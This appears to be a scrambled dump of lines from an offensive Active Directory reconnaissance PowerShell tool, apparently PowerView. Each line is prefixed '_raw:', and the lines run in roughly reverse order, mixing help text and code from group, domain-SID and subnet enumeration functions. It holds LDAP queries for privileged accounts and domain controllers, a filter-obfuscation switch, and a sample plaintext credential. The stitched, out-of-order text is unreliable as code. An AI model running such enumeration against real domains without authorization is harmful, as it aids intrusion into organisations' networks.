_raw: Also accepts NotDomainLocal, NotGloba, and NotUniversal as negations.


_raw: Specifies the scope (DomainLocal, Global, or Universal) of the group(s) to search for.


_raw: Switch. Return users with '(adminCount=1)' (meaning are/were privileged).


_raw: specifying the user/group member to query for group membership.


_raw: A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),


_raw: specifying the group to query for. Wildcards accepted.


_raw: a part of, use -MemberIdentity X to execute token groups enumeration.


_raw: the current domain are returned. To return the groups a specific user/group is


_raw: "-Properties samaccountname,usnchanged,...". By default, all group objects for


_raw: matching the criteria. To only return specific properties, use


_raw: LDAP filter based on targeting/filter parameters, and searches for all objects


_raw: Builds a directory searcher object using Get-DomainSearcher, builds a custom


_raw: Required Dependencies: Get-DomainSearcher, Get-DomainObject, Convert-ADName, Convert-LDAPProperty


_raw: Return all groups or specific group objects in AD.


_raw: Write-Verbose "[Get-DomainSID] Error extracting domain SID for '$Domain'"


_raw: $DCSID = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 -ExpandProperty objectsid


_raw: if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate }


_raw: if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL }


_raw: if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }


_raw: A string representing the specified domain SID.


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: Switch. Obfuscate the resulting LDAP filter string using hex encoding.


_raw: Switch. Use SSL for the connection to the LDAP server.


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Specifies an Active Directory server (domain controller) to bind to.


_raw: Specifies the domain to use for the query, defaults to the current domain.


_raw: to search for domain controllers through LDAP. The SID of the returned domain controller


_raw: Get-DomainComputer with the -LDAPFilter set to (userAccountControl:1.2.840.113556.1.4.803:=8192)


_raw: Returns the SID for the current domain or the specified domain by executing


_raw: Returns the SID for the current domain or the specified domain.


_raw: Write-Verbose "[Get-DomainSubnet] Error disposing of the Results object: $_"


_raw: elseif ($Subnet.siteobject -like "*$SiteName*") {


_raw: if ($Subnet.properties -and ($Subnet.properties.siteobject -like "*$SiteName*")) {


_raw: # have to do the filtering after the LDAP query as LDAP doesn't let you specify


_raw: $Subnet = Convert-LDAPProperty -Properties $_.Properties


_raw: $Results | Where-Object {$_} | ForEach-Object {


_raw: else { $Results = $SubnetSearcher.FindAll() }


_raw: if ($PSBoundParameters['FindOne']) { $Results = $SubnetSearcher.FindOne() }


_raw: Write-Verbose "[Get-DomainSubnet] Get-DomainSubnet filter string: $($SubnetSearcher.filter)"


_raw: Write-Verbose "[Get-DomainSubnet] Using additional LDAP filter: $LDAPFilter"


_raw: if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {


_raw: $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'


_raw: Write-Warning "[Get-DomainSubnet] Unable to retrieve domain searcher for '$IdentityDomain'"


_raw: $SubnetSearcher = Get-DomainSearcher @SearcherArguments


_raw: Write-Verbose "[Get-DomainSubnet] Extracted domain '$IdentityDomain' from '$IdentityInstance'"


_raw: $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'


_raw: # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname


_raw: if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {


_raw: if ($IdentityInstance -match '^CN=.*') {